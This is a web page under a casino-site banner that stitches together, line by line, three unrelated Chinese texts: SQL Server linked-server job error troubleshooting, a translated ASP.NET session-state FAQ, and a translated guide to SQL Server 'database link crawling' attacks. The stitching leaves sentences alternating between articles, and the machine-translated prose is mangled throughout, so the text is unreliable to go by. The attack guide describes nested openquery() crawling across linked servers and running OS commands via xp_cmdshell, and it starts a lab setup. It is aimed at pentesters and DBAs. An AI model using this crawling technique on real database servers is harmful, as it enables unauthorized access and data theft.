澳门新浦京娱乐场网站-www.146.net-新浦京娱乐场官网
做最好的网站

澳门新浦京娱乐场网站:请检查从前的荒谬,实

SQL Server 2006(Microsoft SQL Server 二零零七 - 9.00.五千.00)下的二个功课施行一个囤积进度,存款和储蓄进程中动态SQL语句使用链接服务器(Linked Servers),从其余一台SQL Server服务器获取数据。但是进行时报“Access to the remote server is denied because the current security context is not trusted”。可是在SSMS客户端手工业实行存款和储蓄进程却又是OK的。

在SQL Server服务器上一个学业施行时,蒙受下边错误消息:

作者:Patrick Y. Ng
初稿地址:http://forums.asp.net/7504/ShowPost.aspx
译者:Tony Qu (来自BluePrint翻译团队)

第1章 链接服务器简单介绍

一数据库服务器(SQL Server 二零一四)上的一个学业实践报错,具体错误音讯如下:

 

Message:

初稿最终贰遍立异:二〇〇一年四月12日

1.1 简介

 

超越这一个难点十分史无前例,看似是叁个权力和安全地点的原由,不过有广大功课也是这样做的,唯独那台服务器境遇这一个难题。网络也可能有大把人遇上那么些主题素材。官方都有一对材质。

Executed as user: dbo. The server principal "sa" is not able to access the database "xxxx" under the current security context. [SQLSTATE 08004] (Error 916). The step failed.

正文被分成两有的:
1.“通晓Session State方式”——扶助您了然两种Session State的分化之处

今世的应用程序驱动着咱们的世界。

Executed as user: NT SERVICESQLSERVERAGENT. 用户 'xxxxxxxxx$' 登陆失利。 [SQLSTATE 28000] (Error 18456). The step failed.

 

澳门新浦京娱乐场网站 1

  1. FAQ

每一日他们都习于旧贯于访问银行帐户,管理医治保养身体安排,并从互连网远程起动汽车。大多数人都精通存款和储蓄类似于社会保障号码,信用证卡号和爱护音信那几个敏感数据的私下是贰个数据库。

 

https://social.msdn.microsoft.com/Forums/sqlserver/en-US/512991fd-af88-4a87-8b3e-39e0e346040e/access-to-the-remote-server-is-denied-because-the-current-security-context-is-not-trusted?forum=sqlsecurity

 

1.理解Session State模式

只是,大繁多人未有开采到的是败露两个数据库,经常能够用不大的代价接管种种铺面条件。 在那之中一种方法是通过“数据库链接”。

澳门新浦京娱乐场网站 2

 

学业自个儿试行的贮存进度极度简单,就是将数据库A中的历史数据管理过后,归档到A_History库中,结果就超出那样叁个主题素材。将作业的贮存进程抽取在SSMS客户端实施成功,未有分外态,但是作业奉行就遭遇那么些从自己。前面折腾了弹指间,终于弄通晓了原由。 原本那些作业步骤的“Advanced”选项里面,设置成了Run as user 为dbo。

仓库储存地点
InProc:session在服务器中以运动指标形式存款和储蓄(aspnet_wp.exe)

数据库链接本质上是从三个数据库服务器到另二个数据库服务器的可靠连接。

 

https://blogs.msdn.microsoft.com/deepakbi/2010/03/02/job-fails-on-linked-server-access-to-the-remote-server-is-denied-because-the-current-security-context-is-not-trusted-sqlstate-42000-error-15274/

澳门新浦京娱乐场网站 3

StateServer: session被连串化并保留在单身的aspnet_state.exe的内部存款和储蓄器中。StateServer能够运维在另一台服务器上

数据库链接能够“爬网”,类似于抓取网址的超链接。 通过爬行从数据库服务器到数据库服务器的链接,能够访问经常无法被用户访问的多寡和种类。

中间用户 'xxxxxxxxx$',反斜杠前边是域名,前面为计算机名称 $, 其实那是二个设想账号。 即本地系统帐户不具有网络的其它访问权限。当要求拜访互联网时,本地系统选拔帐户 Domaincomputername$ 。具体仿效有关 Configuration Manager 中的当地系统帐户/Computer$。

 

 

SQLServer: session被类别化并保留在SQL Server中

在今世公司条件中,使用数据库链接抓取手艺获得对数百个数据库服务器的未经授权的拜会并十分多见。 这种访问常常导致敏感数据和互连网的完全走漏。

 

http://dba.stackexchange.com/questions/114723/current-security-context-is-not-trusted-for-job-running-as-a-sql-login-accessi

收回那个选项,问题就能够化解。个人设置作业时未尝设置此选项,可是有一点开辟人士创立的功课就安装了这里选项,结果遇上了那些主题材料。

性能:
InProc:最快,可是session数据更加多,web服务器上海消防耗的内部存款和储蓄器也越来越多,它也许影响属性。

能够由此直接数据库连接和SQL注入攻击来运营数据库链接抓取。 更加好地询问与这种数据库配置相关的风险变得特别着重。

发端看到那几个颠倒是非,有一点点一无所知然,并不精通是怎样具体原因导致,那么就去检查作业试行的蕴藏进程,开掘内部使用链接服务器(LINKED SECRUISERVELAND),由于这一个错误指示是本地系统账号访问互连网的权柄问题,所以笔者极其去链接服务器(LINKED SE揽胜极光VE哈弗)所针对的数据库服务器,结果在同等时间点也出现了一个错误信息,其实就是该学业链接过来时产生的音讯。

 

 

StateServer:当存款和储蓄主旨项目(如string,integer等)数据时,在同三个测量试验遇到中它比InProc慢15%。假设您存款和储蓄大量目的,种类化和反类别化或许影响到质量

在本文中,小编提供了创办可用来通过直接连接和各种类型的SQL注入对SQL

Message

https://www.sqlservercentral.com/Forums/Topic579778-146-1.aspx

其它。小编那篇博客SQL Agent Job 报“Access to the remote server is denied because the current security context is not trusted”其间碰到的骨子里也是其一难题。可笑当时纵然缓慢解决了,鬼使神差的化解了难题,不过照旧没有找到Root Cause。 以此为戒!

SQLServer:当存款和储蓄中心项目(如string,integer等)数据时,在同三个测验情状中它比InProc慢四分一。它也是有与StateServer同样的种类化质量难题。

Server数据库链接推行攻击的实验室情况的认证。 小编还提供了数据库链接的相似介绍和怎么样行使它们的亲自去做。

Login failed for user 'xxxxxxx$'. 原因: 基于令牌的服务器访问验证战败,现身基础结构错误。请检查从前的失实。 [客户端: 192.168.xxx.xxx]

 

 

至于Out-of-Proc(OOP,非InProc)格局的习性提醒
万一您利用OOP方式(即StateServer或SQLServer),session state中的连串化和反体系化对象将改成您的严重性性能消耗之一。对于基本类型,ASP.NET通过一种内部优化措施来形成体系化和反系列化。(基本类型包涵富有的数字类型(如Int, Byte, Decimal,String, Date提姆e, TimeSpan, Guid, IntPtr和UIntPtr等))

这几个内容应该推进渗透测量试验职员,Web开垦人士和数据库管理员尝试更加好地询问与数据库服务器链接配置错误或过度使用相关的高危害。

 

提供的化解措施也无所不有的。作者都逐项尝试了一下,结果都未有消除自身的难题。最后根据上面那篇小说的牵线化解了难题。

假使您有三个session变量(如多个ArrayList对象),且它不是贰个主题项目,ASP.NET将选拔BinaryFormatter来开始展览种类化和反连串化,那可能会绝对慢一些。

就算本文入眼介绍SQL Server,但将包括的众多定义能够行使于别的数据库平台。

澳门新浦京娱乐场网站 4

 

就此是因为品质怀想,最棒使用方面列出的着力类型来囤积全体的session state数据。举个例子,假若您需求仓库储存三个东西,名字和地方,在session state中您不仅可以够(方法a)使用多少个string session变量来存款和储蓄它们,也足以(方法b)创立三个内含七个string的类来保存它们,然后把那些类对象保存在二个session变量中。出于质量怀想,你应有选取方法a。

1.2怎么是数据库服务器链接?

 

http://stackoverflow.com/questions/10526198/access-to-the-remote-server-is-denied-because-the-current-security-context-is-no

为了进一步通晓那一个主旨,请看FAQ中的二个标题:“类别化和反种类化怎么样在SqlServer和StateServer方式下办事”

在我们开始在此之前,让咱们大致的摸底一下数据库链接。

自笔者探究该链接服务器(LINKED SE福特ExplorerVE途乐)开掘该链接服务器使用的是“使用登陆名的当下安全上下文构建连接”(Be made using the login's current security context)

 

健壮性
InProc:假设劳引力经过(aspnet_wp.exe)进行财富回收恐怕应用程序域(appdomain)重运转,session state就能够丢掉。这是因为session state是保存在叁个施用程序域的内部存款和储蓄器空间中的。对配置文件(如web.config和machine.config)的修改大概bin目录的其余改造(比方在您利用VS编写翻译应用程序后发出了一个新的dll)都大概滋生重运行,详细请见KB324772。在1.0中,也可能有贰个bug只怕引起工小编经过重运营,但以此bug在1.第11中学早已修复,见KB321792。

微软声称数据库链接可用于“使SQL Server数据库引擎能够针对SQL Server实例之外的OLE DB数据源实行命令”。

 

修改作业的Owner,将作业Owner从sa改为链接服务器(Linked Server)的平安上下文( Current Security Context)所使用的账号(服务器两边都有该同样账号),难点化解。就算难点消除了,可是依旧不曾领悟root cause,跟一些人关系都无解。如今先记下一下那些难点。

万一您利用的是IIS6.0,你能够在IIS Manager中找到Application Pools/DefaultAppPool,个中能够观察回收(Recycling)选项卡与品质(Performace)选项卡中是还是不是有引起IIS工我经过(w3svc.exe)结束专门的工作的参数。

那大概意味着大家得以在数据库等级创制预配置的“链接”,以一而再和询问各个数据存款和储蓄,包蕴但不幸免:

澳门新浦京娱乐场网站 5

 

更加的多关于应用程序财富回收的内容,能够看自个儿的另一篇FAQ:
http://www.asp.net/Forums/ShowPost.aspx?tabindex=1&PostID=232621

•SQL Server

 

----------------------------------------------------------------------------分割线---------------------------------------------------------

StateServer:消除了InProc情势的session state丢失难题。允许三个webfarm在中心服务器中存款和储蓄session。只可以在State Server上出现停业。

•Oracle服务器

是因为是学业调用该存款和储蓄进度,那么该学业推行到调用链接服务器部分SQL时,使用的正是运营SQL Agent服务的报到名来建设构造安全上下文, 如下所示,SQL Agent服务的运行账号为NT ServiceSQLSE陆风X8VERAGENT, 而链接服务器(LINKED SEQashqaiVERubicon)所指的数据库服务器,运行SQL Agent服务的记名名称为多少个域账号,很明朗此时链接服务器就能够遇上权限难点。其实就是最近几年修改了那台服务器的SQL Agent服务的记名名所导致。SQL Agent服务本来是多个域账号运转的。

 

SQLServer:与StateServer相似。session state的多少在SQL Server重启后仍旧保留着,你也得以根据KB311209的步子使用SQL server failover cluster

•访问文件

 

下面难题的原因已经弄精通了,具体参谋博客The server principal "sa" is not able to access the database "xxxx" under the current security context (同一的原委)其实是因为在学业的步调里面,有个高等选项,有个Run as User,里面安装了以某些特殊账户实践。所以遇到了地方难点, 而自个儿上边鬼使神差的消除了,直到明天才找到Root Cause。

警告
InProc:它不能够在web garden方式下事业,因为在那么些形式下会有多少个aspnet_wp.exe在一样台机器上运维。提议在行使web garden使切换来State Server或SQL Server。仅在InProc方式下援助Session_End事件。

•Excel文件

澳门新浦京娱乐场网站 6

StateServer

•文本文件

 

  • 在web farm中,请确认在装有的web服务器上有同样的<machineKey>。KB313091描述了怎么设置它。
  • 请确认保障您的靶子是可类别化的。详见KB312112
  • 为了在web farm中的差别web服务器上爱抚session state,IIS Metabase中的网址应用程序路线(如LMW3SVC2)应该在具备的服务器上保持一致(大小写敏感)。详见KB325056

若果您不是数据库助理馆员,恐怕不明了为何有人想要配置数据库链接。 下边小编提供了一部分我们碰着的遍布用例。

明白具体原因了,那么就能够交到具体消除方案了:

SQLServer

•查询多少个应用程序数据库以询问多少趋势

 

  • 在1.0中有三个bug,假诺您在一连字符串中钦点integrity security(如"trusted_connection=true"或 "integrated security=sspi"),且你张开了asp.net的地方模拟,它将不会职业。这些主题材料在KB324479中有描述,不幸的是这份文书档案中的描述和原因部分是不当的。可是已经有五个QFE

    fix对它作了修复,那些fix将包蕴在1.0 sp3中。那几个标题在1.第11中学早就修复了。

    请确认你的对象是可系列化的,不然你的呼吁恐怕被挂住,详见KB312112。SQLServer格局的挂起问题已经在1.第11中学修复,KB324479的QFE fix也修复了那么些主题材料。1.0 sp3也对那么些主题素材作了修复。
  • 为了在web farm中的分歧web服务器上维护session state,IIS Metabase中的网址应用程序路线(如LMW3SVC2)应该在具备的服务器上保持一致(大小写敏感)。详见KB325056

•结合几个数据源的消息,防止数据库平台迁移

主意1: 修改运营SQL Server Agent服务的登入名,举例具备系统助理馆员权限的域账号(当然所针对的服务器也富有该域账号,并且有有关权限),然后重启SQL Agent服务就会消除难点。

别的财富
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnaspp/html/aspnetsessionstate.asp
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnbda/html/CachingArchch2.asp
http://www.411asp.net/home/tutorial/specific/web/sessions

•在SQL Server实例之间复制数据子集

办法2: 修改链接服务器(LINKED SELacrosseVE奥迪Q7),使用一定账号来确立安全上下文机制也能够消除那个主题素材。

  1. FAQ难点列表
    Q: session state在有的浏览器上干活,而在别的一些上不做事。为啥吗?
    Q: 在InProc情势中,为何自个儿不经常会丢掉全数的session?
    Q: session state在一部分web服务器上行事,但是在此外服务器上不干活。
    Q: 为什么session state不可用?
    Q: 为什么session_end未有接触?
    Q: 使用InProc情势时,为何本身的session变量频仍丢失?
    Q: 在session超时或删除之后,为啥SessionID保持不改变
    Q: 为何SessionID每次呼吁都会变动
    Q: Session.Abandon()和Session.Clear()有哪些分别
    Q: session的Timeout属性是一个滑行超时值吗?
    Q: 作者可以在ASP.NET和ASP之间分享session吗?
    Q: 小编得以在web应用程序(比如设想目录只怕IIS的应用程序)间共享session state吗?
    Q: 在session state中得以积累哪些项目标指标?
    Q: 为啥笔者的呼吁在切换来SQLServer方式之后挂住了?
    Q: 为什么Response.Redirect和Server.Transfer在Session_End中不职业?
    Q: 在Session_End中,作者能够博得三个卓有功能的HttpSessionState对象和HttpContext对象啊?
    Q: 在web service中怎么着利用session?
    Q:小编正在写三个HttpHandler,为什么session stae不干活?
    Q: 笔者正在使用web farm,并且每当笔者重定向到别的服务器时,session state就能丢掉?
    Q: 固然运用cookieless,作者该怎么从三个HTTP页面重定向到三个HTTPS页面?
    Q: session state有未有叁个锁机制来安顿对session的拜访顺序?
    Q: 小编该如何检查测量检验一个session过期,然后重定向到另一个页面
    Q: 在Session_End中,小编尝试选择SQL做一些清理职业,可是战败了,请问怎么?
    Q: 小编利用的是SQLServer情势,为什么本身的session不会晚点
    Q: 作者有贰个以htm为扩展名的frameset页面,并且本身意识其中富含的每一个帧在首先次呼吁时都有八个不等的SessionID,那是干什么?
    Q: 笔者将EnableSessionState设置为ReadOnly,不过在InProc情势下,作者照旧能够修改session,为何?
    Q: 笔者将cookieless设置为true,在Redirect从此session变量丢失了,为啥?
    Q: 将cookieless设置为true有啥缺点
    Q: 在InProc格局下,我用编制程序情势改动了session的过期时间,它触发了Session_End,为什么?
    Q: 在SQLServer方式下,作者得以把session state保存在除tempdb之外的数据库中吗?
    Q: 怎么样防止将未加密的字符串放在自身的总是字符串汇总?
    Q: 在利用SQLServer方式时,作者供给怎么着的SQL权限?
    Q: 作者得以友善写定制的session state格局呢?
    Q: 在SQLServer或StateServer情势下,类别化和反连串化如何做事?
    Q: 小编该怎样让本身的state server更安全?
    Q: 作者能还是不可能能够选择非global.asax中的管理程序来订阅SessionStateModule.End事件?
    Q: 不一样的应用程序能够把他们的session state保存在同三个SQL Server上的不等数据库中呢?

•聚焦处理数据库服务器配置

Q: session state在一部分浏览器上干活,而在任何一些上不工作。为啥吗?
A: 估摸您未有行使cookieless,你必须保险你的浏览器帮助cookie。请仿效那份KB:http://support.microsoft.com/default.aspx?scid=kb;EN-US;q316112

•平时,数据库管理员使用它们来查询和立异远程异构数据来自

Q: 在InProc格局中,为啥自个儿有的时候会丢掉全体的session?
A: 请见驾驭session state格局的健壮性部分

对此有意思味的人,作者列出了在SQL Server上列出数据库链接的二种格局。 默许景况下,您应该看到自个儿的服务器。 不过,数据访问将被禁止使用,所以小编不正视您能够查询它。

Q: session state在局地web服务器上行事,不过在其它服务器上不坐班。
A: 大概是机器名的标题,见http://support.microsoft.com/default.aspx?scid=kb;EN-US;q316112

sp_linkeservers

Q: 为什么session state不可用?
A:

SELECTsrvnameFROMmaster..sysservers

  • 先是,检查web.config、machine.config和Page标签来确认你启用了session state
    参照他事他说加以考察资料:
    http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpguide/html/cpconsessionstate.asp
    http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpgenref/html/cpconpage.asp
  • 请留意session state并非在任啥地点方、任曾几何时刻都能够利用,它仅在HttpApplication.AcquireRequestState事件随后可用。举个例子,在 global.asax中的Application_OnAuthenticateRequest管理程序中,session state不可用
  • 请确认System.Web.SessionState.SessionStateModule已带有在陈设文件的< httpModules>节中。二个大范围的例子是,出于质量考虑,SharePoint应用程序会把那些模块从web.config文件中移除,由此导致session不可用

至于更加多音信,您能够访问Microsoft的Linked Server页面,网站为http://msdn.microsoft.com/en-us/ library/ms188279.aspx。

Q: 为什么session_end未有接触?
A: 那是最广大的难点之一

1.3数据库服务器链接怎样形成吓唬?

  1. 请记住session_end仅在InProc格局中可用
    2. 闭馆浏览器,session_end是不会接触的。HTTP是一种无状态协议,服务器并未艺术知道你的浏览器是还是不是已经关闭。
    3. 当有n分钟(n=timeout值)的无操作或调用Session.Abandon时,Session_End才会触发
  2. 对此意况1来说,Session_End将由贰个后台线程触发,那意味:
    a. Session_End中的代码应用劳力经过账号运维,假设你拜访如数据库那样的能源时,只怕会有权力难题。
    b. 如果在Session_End中发生错误,程序不会通报发出了何等
  3. 对于景况2而言,为了让Session_End触发,session state必须先存在。那意味你不能够不在session state中贮存一些数量,并且已经达成了起码叁个呼吁
    6. 只怕对于意况2来说,Session_End仅在被甩掉的session被找到的时候才会触发。那样的话,假设你在同三个伸手中开创并丢掉四个session,由于session未有被保存,由此也不会被找到,Session_End将不会被调用。那是v1.0和v1.1中的bug。

固然数据库链接特别有用,但它们经常配置有过高的权力,大概导致多个数据库和类其余折中。 以下是数据库链接也许出现的风险的简要列表。

Q: 使用InProc形式时,为啥自个儿的session变量频仍丢失?
A: 有一点都不小希望是应用程序财富回收引起的,见http://support.microsoft.com/default.aspx?scid=kb;en-us;Q316148
在v1.0中有三个bug大概会导致工笔者经过重运行。在v1.1和v 1.0sp第22中学早就修复。见http://support.microsoft.com/default.aspx?scid=kb;EN-US;321792

过高的权力是很宽泛的。 大多数DBA使用静态用户名和密码来陈设数据库链接,而不是布置数据库链接来持续实践查询的数据库用户的权位。 那意味当数据库用户查询链接时,查询将应用预配置的链接权限运转,而不是数据库用户的。

至于应用程序财富回收的详细音信,请见笔者的另一篇:FAQhttp://www.asp.net/Forums/ShowPost.aspx?tabindex=1&PostID=232621

•默许情形下能够利用Openquery()。

Q: 在session超时或删除之后,为何SessionID保持不改变
A: 固然在逾期周期之后session state过期,sessionID将直接维系到浏览器session过期甘休,也正是说,贰个同等的sessionID能够有数十三遍session超时,不过一味对应着三个平等的浏览器实例。

Openquery()是可用于查询链接服务器的本地SQL Server函数。

Q: 为啥SessionID每三回呼吁都会转移
A: 即便您的应用程序从未在session state中蕴藏过数额。在这种情状下,那么每一回央浼都会创建一个新的session state(ID也是新的),可是不会被积攒,因为里面什么数据都并未有。

默许情形下,属于PUBLIC固定服务器脚色的任何SQL登入名都可以使用它查询数据库链接。

即使如此,有三种差异或然发生一样的Session ID

故此与类似的openrowset()函数分化,它一般允许持有数据库用户默许查询全部预配置的数据库链接。 下边是五当中央的Openquery示例:

  • 若是用户选拔同样的浏览器实例来呼吁另贰个运用session state的页面,那么你每便获得的Session

    ID是一致的。详见“在session超时或删除之后,为何SessionID保持不改变?”

    如果选择了Session_OnStart事件,即便session为空,asp.net也会保留session state。

SELECT*FROMopenquery(Server1,'select SYSTEM_USER')

Q: Session.Abandon()和Session.Clear()有怎么着差别
A: 首要的差别在于,如若你调用Session.Abandon(), Session_End将被触发(仅在InProcxi下适用),在下叁个呼吁中,Session_Start触发。而Session.Clear()仅仅是破除数据,但未有去除session。

•能够嵌套数据库链接查询。

Q: session的Timeout属性是二个滑动超时值吗? A: Session的Timeout是一个滑动过期时间,意思是只要您的页面访问session state,过期岁月就能向挪。注意,只要页面未有被禁止使用,在伏乞时页面就能活动访问session

具备数据库链接查询都足以经过openquery()函数嵌套。 由此,数据库链接能够从数据库服务器到数据库服务器,类似于网页抓取。

Q: 小编得以在ASP.NET和ASP之间共享session吗? A:不可以。可是有一篇小说讲到了何等来绕过那个标题:http://www.msdn.microsoft.com/library/default.asp?url=/library/en-us/dnaspp/html/ConvertToASPNET.asp

在大家的测量检验时期,大家发掘数据库链接抓取大概导致对我们称为“数据库链接网络”的数百个数据库服务器的未经授权的拜访。

自然也是有一点第三方化解方案。

抓取数据库链接网络时大家遇到的当世无双限制是openquery()函数允许的最大字符数。

Q: 笔者得以在web应用程序(比如虚构目录或许IIS的应用程序)间分享session state吗? A:不能。

依附Microsoft的文书档案,openquery()函数具有7000个字符的限量。 以下是透过嵌套数据库链接试行的询问的主干示例:

Q: 在session state中能够积存哪些类型的对象?
A:那是由你选择的情势决定的

SELECTsrvnameFROMopenquery(Server1,'SELECT srvname FROM openquery(Server2,''SELECT srvname FROM master..sysservers'')')

  • 借使你选择的是InProc格局,存款和储蓄在session state中的对象是活靶子,那么你就能够积累你创立的其余对象
  • 一旦您采用的是SQLServer或State Server方式,当管理贰个乞求时,session state中的对象目的将被类别化和反连串化,所以请确认你的靶子都以可连串化的,而它们的类都作了可类别化标志。若无,session state将不会顺理成章存储。在v1.0中,有二个bug,当以此难题时有爆发时,假若采纳SQLServer方式,乞求恐怕在不知情的意况下被挂起。挂起的主题素材在v1.1和v1.0 sp3中早已修复。KB324479的QFE fix也含有了对这一难题的修补。

•可以由此数据库链接试行存款和储蓄进度。 尽管Microsoft文书档案表明说,能够盲目施行openquery函数来实施存储进度。 那象征危险的先后(如xp_cmdshell)能够用于通过多少个嵌套数据库链接在操作系统等级上实行任性命令。 那在数据库社区业已有一段时间的社会化,但在音讯安全界未有稍微斟酌。

更加多消息请见:http://support.microsoft.com/directory/article.asp?ID=KB;EN-US;q312112

第2章 设置实验室

Q: 为什么作者的央求在切换成SQLServer方式之后挂住了?
A:请看标题“在session state中得以储存哪些项目标目的?”的答案

本章将介绍怎么着营造可用于测量检验常见数据库链接攻击的实验室境遇。 简单来说,你将安装两个SQL Server实例,在它们之间成立数据库链接,并设置连接到当中三个实例的Web应用程序。 以下是实验室达成后我们应有力所能致执行的口诛笔伐的概述。

Q: 为什么Response.Redirect和Server.Transfer在Session_End中不干活? A:Session_End是在服务器内部触发的,它依照一个之中的放大计时器。因而,在事变触发时,与其余HttpRequest对象毫无干系。那也是干什么Response.Redirect 和Server.Transfer不做事的案由。

2.1装置四个SQL Server数据库实例

Q: 在Session_End中,笔者得以赢得一个灵光的HttpSessionState对象和HttpContext对象呢?
A:  你能够获得httpSessionState对象,你能够应用'Session'来访问该目的。但是你无法访问HttpContext,因为那个事件和伸手未有别的涉及。

安装名称叫“server1”,“server2”和“server3”的八个SQL Server命名实例。 这一个实例能够安装在单个或多少个服务器上。 确定保障记住每一种SQL Server实例的sa帐户密码。 你将急需它们来安装数据库帐户和链接。

Q: 在web service中什么行使session?
A: 须要在调用方使用一些本领,你必须保留web服务使用的cookie。请见关于HttpWebClientProtocol.CookieContainer的MSDN文档。

安装SQL实例时,请保管设置了以下配置:

即使,如若你是通过代办对象从您的页面调用web服务,由于架构限制,web服务和你的页面不可能分享session state。

1.配置“混合格局”认证。

一经你通过redirect调用web服务,那是足以成功的

2.配置全部服务作为LocalSystem运转。

Q:笔者正在写多个HttpHandler,为何session stae不工作?

3.为每种实例启用TCP / IP和命名管道。

A: 你的HttpHandler接口必须兑现标识接口IRequiresSessionState或IReadOnlySessionState,方能运用session state。

留心:若是具备实例都配置在长久以来台服务器上,则只怕无需。

Q: 小编正在使用web farm,并且每当本人重定向到其余服务器时,session state就能丢掉?
A: 为了在web farm中的差异服务器之间维护session state,IIS Metabase中的网址应用程序路径(举例 LMW3SVC2)应该在颇具的web服务器上保持一致(大小写敏感)。详见KB325056

至于越来越多音讯,请访问以下链接:http://msdn.microsoft.com/en-us/library/bb909712(v=vs.90).aspx

Q: 假若使用cookieless,小编该怎么从四个HTTP页面重定向到三个HTTPS页面?
A: 尝试选拔下边包车型大巴代码:
String originalUrl = "/fxtest3/sub/foo2.aspx";
String modifiedUrl = "" Response.ApplyAppPathModifier(originalUrl);
Response.Redirect(modifiedUrl);

SQL Server 2008下载

Q: session state有没有贰个锁机制来配置对session的拜访顺序?
A:session state达成了读写锁定机制:

http://www.microsoft.com/en-us/download/details.aspx?id=1695

  • 对session state有写权限(如<%@ Page EnableSessionState="True" %> )的页面或帧将获得那一个session的写锁,直到央浼甘休。
  • 对session state有读权限(如<%@ Page EnableSessionState="ReadOnly" %> )的页面或帧将获得这一个session的读锁,直到央浼甘休。
  • 读锁会阻塞写锁;读锁不会阻塞读锁;写锁会阻塞所有的读锁和写锁

    那也是干什么当八个帧相同的时候兼有session的拜会权限制期限,八个帧必须等待另一帧先产生

SQL Server 2008安装

Q: 小编该怎么检查实验三个session过期,然后重定向到另贰个页面
A: 那是通常要遇见的难题,但不幸的是绝非很轻易的方法来成功它。大家将希望在四个要害版本中落实它。同期,假设您选拔cookie,你可以在cookie中存款和储蓄二个标记,那样您就足以分别新浏览器 新session及旧浏览器 过期session,下边包车型地铁代码在session过期时会重定向到一个过期页面。
void Session_OnStart(Object sender, EventArgs e) {
    HttpContext context = HttpContext.Current;
    HttpCookieCollection cookies = context.Request.Cookies;

http://blog.sqlauthority.com/2008/06/12/sql-server-2008-step-by-step-installation-guide-with-images/

    if (cookies["starttime"] == null) {
        HttpCookie cookie = new HttpCookie("starttime", DateTime.Now.ToString());
        cookie.Path = "/";
        context.Response.Cookies.Add(cookie);
    }
    else {
        context.Response.Redirect("expired.aspx");
    }
}

2.2安装SQL Server登录

Q: 在Session_End中,笔者尝试运用SQL做一些清监护人业,不过失利了,请问怎么?
A: 首先,session_End仅在InProc方式下辅助。
第二,Session_End是用运维工我经过(aspnet_wp.exe)的帐号运营的,这几个账号能够在machine.config中钦定。由此,在您的Session_End中,借使利用integrity security连接SQL,它将选取劳力经过账号身份连接,这或然会挑起登陆战败,那要看您的SQL安全设置了。

自己早已提供了设置上面所需的SQL Server登陆的辨证。 不过,假如你供给此外帮衬,请点击下边包车型大巴多少个链接来教导您创造数据库登陆。

Q: 作者动用的是SQLServer情势,为何笔者的session不会晚点
A: 在SQLServer格局下,session过期是由SQL Agent使用三个报了名职务成功的,请确认你的SQL Agent是或不是已经运转。

有关越多新闻,请访问http://msdn.microsoft.com/en-us/library/ms189751.aspx

Q: 小编有贰个以htm为扩大名的frameset页面,并且小编发觉在那之中带有的各类帧在率先次呼吁时都有叁个不等的SessionID,那是为啥?
A: 原因是你的frameset页面是一个htm文件而不是二个aspx页面

设置SQL Server登录

在一般情形下,如果四个frameset页为叁个aspx文件,当您央浼该页面时,会率头阵需要给web服务器,你会吸收贰个asp.net session cookie(个中保存着session id),然后浏览器会为frame发送二个独自的伏乞,而各类央求将有着一致的session id。

1.张开SQL Server Management Studio并选拔sa帐户登入到具有SQL Server实例。 通过展开五个独立的“对象探测器”,能够同有的时候间张开装有多少个实例。 使用多少个对象浏览器中的查询窗口在其余步骤中实行查询。

唯独,因为您的页面是二个htm文件,第三个央求就不会获得别的session cookie,因为页面是由asp管理的而非asp.net,然后浏览器会为每一种帧发送单独的乞请。可是,此番每一种独立的央浼将不会具有其余session id,这样的话每一种帧将创设和睦的session。那也是为什么你在各样帧中看到的session id都不可同日而语。最终叁个伸手将打败,因为它将掩盖前四个央求写入的cookie。假使您刷新一回,你将见到它们具有了同一的session id。

2.在server1上采用sysadmin剧中人物创建名称为“s1admin”,密码为“s1password”的数据库登入名。 注意:您大概要求禁止使用密码计策。

以此行为是设计所主宰的,轻便的消除方式正是将frameset页面改称aspx
 
Q: 作者将EnableSessionState设置为ReadOnly,可是在InProc格局下,小编依旧可以修改session,为何?
A: 就算那一个EnableSessionState被设置为ReadOnly,不过在InProc格局中,用户依旧能够修改session。唯一的界别在于session在呼吁中不会被锁住,这一范围是规划所调节的。对于那点并未有在msdn中关系本身代表抱歉。

CREATELOGIN s1adminWITHPASSWORD='s1password';

Q: 作者将cookieless设置为true,在Redirect事后session变量丢失了,为何?
A: 假如您选拔的是cookieless,你必须利用相对路径(如..hello.aspx),而不是相对路线(如foobarhello.aspx)。假若您选拔的是绝对路线,ASP.NET不会将session id保存在url中。

GO

Q: 将cookieless设置为true有如何缺点
A: 设置cookieless=true表示一些暧昧的准绳,首要有:

EXECmaster..sp_addsrvrolemember @loginame = N's1admin', @rolename = N'sysadmin'

  1. 你不可能在你的页面中应用相对路线
  2. 在http和https之间切换的话,你必须做一些外加的动作
  3. 万一您的客户发送了一个链接到二个恋人,ULacrosseL将包蕴session id,八个用户可以在同时使用同一的session id

GO

Q: 在InProc格局下,作者用编程格局退换了session的逾期时间,它触发了Session_End,为什么?
A: 那是InProc的叁个bug。借使您更换session的timeout值为另三个值,Session_End将被调用(但不会调用Session_Start)。大家希望在v2.0中可见修复这几个荒唐。

3.在server1上行使私下认可权限创建名叫“s1user”的数据库登入名,密码为“s1password”。

Q: 在SQLServer方式下,小编能够把session state保存在除tempdb之外的数据库中呢?
A: 是的。见KB311209。

CREATELOGIN s1userWITHPASSWORD='s1password';

Q: 如何防止将未加密的字符串放在自身的总是字符串汇总?
A: 见sql trusted connection恐怕将连接字符串以加密多少情势保留在注册表中。详细情况请见,KB329250和KB329290。

GO

Q: 在利用SQLServer形式时,笔者急需如何的SQL权限?
A: 调用者必要对上面包车型客车囤积进度具有EXEC权限,
dbo.TempGetAppID
dbo.TempGetStateItem
dbo.TempGetStateItemExclusive
dbo.TempReleaseStateItemExclusive
dbo.TempInsertStateItemLong
dbo.TempInsertStateItemShort
dbo.TempUpdateStateItemLong
dbo.TempUpdateStateItemShort
dbo.TempUpdateStateItemShortNullLong
dbo.TempUpdateStateItemLongNullShort
dbo.TempRemoveStateItem
dbo.TempResetTimeout
在v1.第11中学,你也急需对上面包车型地铁积累进程具有EXEC权限
dbo.TempGetStateItem2
dbo.TempGetStateItemExclusive2

4.在server2上选拔暗中认可权限创立贰个名称为“s2user”的数据库登陆名,密码为“s2password”。

请留意存款和储蓄进程的具有者必须对session state表(dbo.ASPStateTempSessions和 dbo.ASPStateTempApplications)具有SELECT/INSERT/UPDATE/DELETE 权限。常常,具有者是实践installsqlstate.sql(只怕漫长版本,见KB311209)的帐号来安装sql session state要求的表、存款和储蓄进程、数据库

CREATELOGIN s2userWITHPASSWORD='s2password';

也请小心,若是您的session state表在tempdb中(私下认可景况下)假设您对SQL Server进行财富回收,全体在那张表上的权限设置将遗失。

GO

Q: 作者得以本人写定制的session state方式吧?
A:(待翻译)

5.在server3上运用暗中认可权限创设名称叫“s3user”的数据库登陆名,密码为“s3password”。

